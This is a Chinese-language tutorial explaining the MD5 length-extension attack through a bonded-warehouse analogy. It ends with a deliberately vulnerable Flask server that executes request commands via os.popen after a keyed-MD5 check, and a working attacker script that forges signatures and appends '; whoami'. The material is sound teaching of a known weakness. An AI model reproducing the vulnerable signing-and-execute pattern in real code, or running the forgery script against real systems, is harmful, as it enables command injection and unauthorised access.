MD5延展攻击
MD5延展攻击:当哈希函数变成"潘多拉的便签条"
一、故事从一个神秘仓库开始
想象你管理着一个高度自动化的保税仓库。每天,海关会用特制的秘密印章(密钥)在你的货运单上盖章,生成一张状态便签条(MD5签名)。仓库门口的机器人只看便签条是否匹配,就决定是否放行整批货物。
你的印章流程是:便签条 = 盖章( secret_key + 货物清单 )
今天,你盖章了一张清单:货物清单 = "运输服装",便签条显示为5f4dcc3b...。机器人验证通过,货车顺利进仓。
问题来了:攻击者捡到了这张便签条,但他不知道印章长什么样,却想把"运输服装"改成"运输服装+顺带偷走金库里的黄金"。
正常逻辑:不知道印章 = 无法伪造便签条 = 无法篡改。
但MD5这个"便签条生成器"有一个致命缺陷——它允许"墨水续写"。
二、MD5的致命浪漫:印章的"记忆"漏洞
要理解这个缺陷,得看看MD5盖便签条时到底发生了什么。
正常盖章流程:
- 铺纸:把
secret_key + "运输服装"写在一张纸上 - 填充防伪白边:MD5会自动在文字后加空白格,确保纸张长度符合标准
- 滚动盖章:MD5印章有4个滚轮(128位内部状态),每滚过一个标准区块,滚轮就会改变状态
- 最终便签:滚轮最终位置转换成一串字符,就是你的签名
关键来了:这张便签条上印的,正是滚轮最终的位置信息。
三、潘多拉的墨水续写术
攻击者捡到便签条5f4dcc3b...后,做了一件匪夷所思的事:
他复制了印章滚轮的最终状态,然后准备了一张新纸,上面写:
[原始内容]运输服装
[防伪空白格](MD5自动填充的格子)
[新内容]偷走黄金他用一个特制机器(hashpump工具),把复制来的滚轮状态装进去,让印章继续滚动新纸的后半部分。由于滚轮状态是连续的,新盖出的便签条在机器人眼中完全合法。
魔法般的公式:
合法便签( key + "运输服装" ) → 提取滚轮状态 →
续写盖章( "偷走黄金" ) = 新合法便签( key + "运输服装" + 填充 + "偷走黄金" )攻击者从未见过印章,却盖出了海关认可的章。
四、机器人为什么会上当?
仓库机器人(服务器)的验证流程是自动且盲目的:
def 机器人验货(货物清单, 便签条):
# 自动执行,不思考
计算便签 = 盖章( secret_key + 货物清单 )
if 计算便签 == 便签条:
放行并执行货物清单 # 不加解析!当攻击者提交:
货物清单: "运输服装\x80\x00...\xe8偷走黄金"
便签条: "6c3c7751..."机器人:
- 自动拼接:
secret_key + "运输服装...偷走黄金" - 自动计算:MD5滚轮从初始状态滚到新状态
- 自动比对:计算结果恰好是
6c3c7751...(因为滚轮状态被正确续写) - 自动执行:把整串文字当指令执行,虽然"运输服装"部分可能报错,但后面的"偷走黄金"已经执行成功
机器人的三大盲区:
- ❌ 不看清单里的乱码(
\x80\x00) - ❌ 不理解语义("运输服装"后面怎么有"偷黄金"?)
- ❌ 不怀疑便签来源(便签是续写的,但效果一样)
五、为什么软件下载场景免疫?
聪明的你可能会问:"那我下载软件时,官网给的MD5校验值,为什么不怕延展攻击?"
因为那是"纯文件拍照",不是"盖章"。
场景对比:
| 场景 | 哈希对象 | 是否有密钥 | 攻击者能否"续写" | 结果 |
|---|---|---|---|---|
| 命令签名 | MD5(key + cmd) | ✅ 有密钥 | ✅ 能续写 | 灾难 |
| 文件校验 | MD5(file) | ❌ 无密钥 | ❌ 不能续写 | 安全* |
比喻:
- 命令签名:海关盖在货物清单+密封集装箱上的铅封
- 文件校验:只是给货物本身拍个照片做对比
没有密钥,就没有"秘密印章"的滚轮状态可以复制,延展攻击就失去了支点。
*安全仅限于延展攻击,MD5在文件场景下仍面临碰撞攻击(两个文件照片一样但内容不同),所以已被淘汰。
六、场景复现
让 ai 写一个有漏洞的服务端 md5 验证业务功能点
# vulnerable_server.py
import hashlib
import os
from flask import Flask, request, jsonify
app = Flask(__name__)
SECRET_KEY = b"ThisIs16ByteKey!" # 模拟16字节密钥(攻击者不知道)
def generate_signature(cmd: str) -> str:
"""生成命令签名:MD5(密钥 + 命令)"""
return hashlib.md5(SECRET_KEY + cmd.encode()).hexdigest()
def verify_signature(cmd: str, signature: str) -> bool:
"""验证签名(存在长度延展攻击漏洞)"""
return generate_signature(cmd) == signature
@app.route("/execute", methods=["POST"])
def execute_command():
"""自动化执行接口:机器人只看签名"""
cmd = request.form.get("cmd", "")
signature = request.form.get("signature", "")
if not verify_signature(cmd, signature):
return jsonify({"status": "error", "message": "签名验证失败"}), 403
# 机器人盲目执行,不检查命令内容
result = os.popen(cmd).read()
return jsonify({"status": "success", "output": result})
@app.route("/get_sign/<cmd>")
def get_signature(cmd):
"""管理员获取合法命令签名"""
return jsonify({
"cmd": cmd,
"signature": generate_signature(cmd)
})
if __name__ == "__main__":
app.run(port=5000, debug=True)
# 测试方法:
# 1. 获取合法签名: curl http://localhost:5000/get_sign/viewfile
# 2. 执行命令: curl -X POST -d "cmd=viewfile&signature=xxx" http://localhost:5000/execute然后执行attack.py
# attacker.py
import subprocess
import requests
import struct
def length_extension_attack(original_cmd, original_sig, extension, key_len=16):
try:
from hashpumpy import hashpump
new_sig, new_msg = hashpump(original_sig, original_cmd, extension, key_len)
return new_msg.decode('latin-1'), new_sig
except Exception:
try:
hashpump_cmd = [
"hashpump",
"-s", original_sig,
"-d", original_cmd,
"-a", extension,
"-k", str(key_len)
]
result = subprocess.run(hashpump_cmd, capture_output=True, text=True)
output = result.stdout.strip()
lines = output.split('\n')
new_sig = lines[0].split(": ")[1]
new_cmd_hex = lines[1].split(": ")[1]
new_cmd = bytes.fromhex(new_cmd_hex).decode('latin-1')
return new_cmd, new_sig
except Exception as e2:
print(f"攻击失败: {e2}")
return None, None
def pure_python_attack():
class MD5:
def __init__(self, state=None, count=0):
if state is None:
self.a = 0x67452301
self.b = 0xefcdab89
self.c = 0x98badcfe
self.d = 0x10325476
self.count = 0
else:
self.a, self.b, self.c, self.d = state
self.count = count
self.buf = b""
def _rotl(self, x, c):
return ((x << c) | (x >> (32 - c))) & 0xFFFFFFFF
def _compress(self, chunk):
X = list(struct.unpack('<16I', chunk))
a, b, c, d = self.a, self.b, self.c, self.d
S = [7,12,17,22]*4 + [5,9,14,20]*4 + [4,11,16,23]*4 + [6,10,15,21]*4
K = [
0xd76aa478, 0xe8c7b756, 0x242070db, 0xc1bdceee,
0xf57c0faf, 0x4787c62a, 0xa8304613, 0xfd469501,
0x698098d8, 0x8b44f7af, 0xffff5bb1, 0x895cd7be,
0x6b901122, 0xfd987193, 0xa679438e, 0x49b40821,
0xf61e2562, 0xc040b340, 0x265e5a51, 0xe9b6c7aa,
0xd62f105d, 0x02441453, 0xd8a1e681, 0xe7d3fbc8,
0x21e1cde6, 0xc33707d6, 0xf4d50d87, 0x455a14ed,
0xa9e3e905, 0xfcefa3f8, 0x676f02d9, 0x8d2a4c8a,
0xfffa3942, 0x8771f681, 0x6d9d6122, 0xfde5380c,
0xa4beea44, 0x4bdecfa9, 0xf6bb4b60, 0xbebfbc70,
0x289b7ec6, 0xeaa127fa, 0xd4ef3085, 0x04881d05,
0xd9d4d039, 0xe6db99e5, 0x1fa27cf8, 0xc4ac5665,
0xf4292244, 0x432aff97, 0xab9423a7, 0xfc93a039,
0x655b59c3, 0x8f0ccc92, 0xffeff47d, 0x85845dd1,
0x6fa87e4f, 0xfe2ce6e0, 0xa3014314, 0x4e0811a1,
0xf7537e82, 0xbd3af235, 0x2ad7d2bb, 0xeb86d391
]
for i in range(64):
if i < 16:
f = (b & c) | (~b & d)
g = i
elif i < 32:
f = (d & b) | (~d & c)
g = (5*i + 1) % 16
elif i < 48:
f = b ^ c ^ d
g = (3*i + 5) % 16
else:
f = c ^ (b | ~d)
g = (7*i) % 16
tmp = (a + f + K[i] + X[g]) & 0xFFFFFFFF
a, d, c, b = d, c, b, (b + self._rotl(tmp, S[i])) & 0xFFFFFFFF
self.a = (self.a + a) & 0xFFFFFFFF
self.b = (self.b + b) & 0xFFFFFFFF
self.c = (self.c + c) & 0xFFFFFFFF
self.d = (self.d + d) & 0xFFFFFFFF
def update(self, data: bytes):
self.count += len(data)
self.buf += data
while len(self.buf) >= 64:
self._compress(self.buf[:64])
self.buf = self.buf[64:]
def digest(self):
m = MD5(state=(self.a, self.b, self.c, self.d), count=self.count)
m.buf = self.buf
bitlen = m.count * 8
pad_len = (56 - ((m.count + 1) % 64)) % 64
m.update(b"\x80" + b"\x00"*pad_len + struct.pack('<Q', bitlen))
return struct.pack('<4I', m.a, m.b, m.c, m.d)
def hexdigest(self):
return self.digest().hex()
key_len = 16
original_cmd = "viewfile"
try:
original_sig = requests.get("http://localhost:5000/get_sign/viewfile").json()["signature"]
except Exception:
original_sig = "5f4dcc3b5aa765d61d8327deb882cf99"
extension = "; whoami "
total_len = key_len + len(original_cmd)
padding = b'\x80'
padding += b'\x00' * ((56 - (total_len + 1) % 64) % 64)
padding += (total_len * 8).to_bytes(8, byteorder='little')
state = struct.unpack('<4I', bytes.fromhex(original_sig))
m = MD5(state=state, count=total_len + len(padding))
m.update(extension.encode('latin-1'))
new_sig = m.hexdigest()
forged_cmd = (original_cmd.encode('latin-1') + padding + extension.encode('latin-1')).decode('latin-1')
print("[攻击者计算]")
print(f"原始命令: {original_cmd}")
print(f"密钥长度: {key_len}字节")
print(f"填充数据: {padding.hex()}")
print(f"恶意命令: {extension}")
print(f"伪造命令: {repr(forged_cmd)}")
print(f"伪造签名: {new_sig}")
return forged_cmd, new_sig
# 实战攻击流程
if __name__ == "__main__":
print("优先使用hashpumpy长度扩展...")
malicious_cmd, forged_sig = None, None
try:
resp = requests.get("http://localhost:5000/get_sign/viewfile", timeout=3)
data = resp.json()
orig_cmd = data["cmd"]
orig_sig = data["signature"]
malicious_cmd, forged_sig = length_extension_attack(
original_cmd=orig_cmd,
original_sig=orig_sig,
extension="; whoami ",
key_len=16
)
except Exception:
pass
if not malicious_cmd or not forged_sig:
print("回退到纯Python实现...")
malicious_cmd, forged_sig = pure_python_attack()
print(f"伪造命令: {repr(malicious_cmd)}")
print(f"伪造签名: {forged_sig}")
try:
print("发送伪造请求...")
response = requests.post(
"http://localhost:5000/execute",
data={
"cmd": malicious_cmd,
"signature": forged_sig
},
timeout=3
)
print(f"服务器响应: {response.json()}")
except Exception as e:
print(f"服务器请求失败: {e}")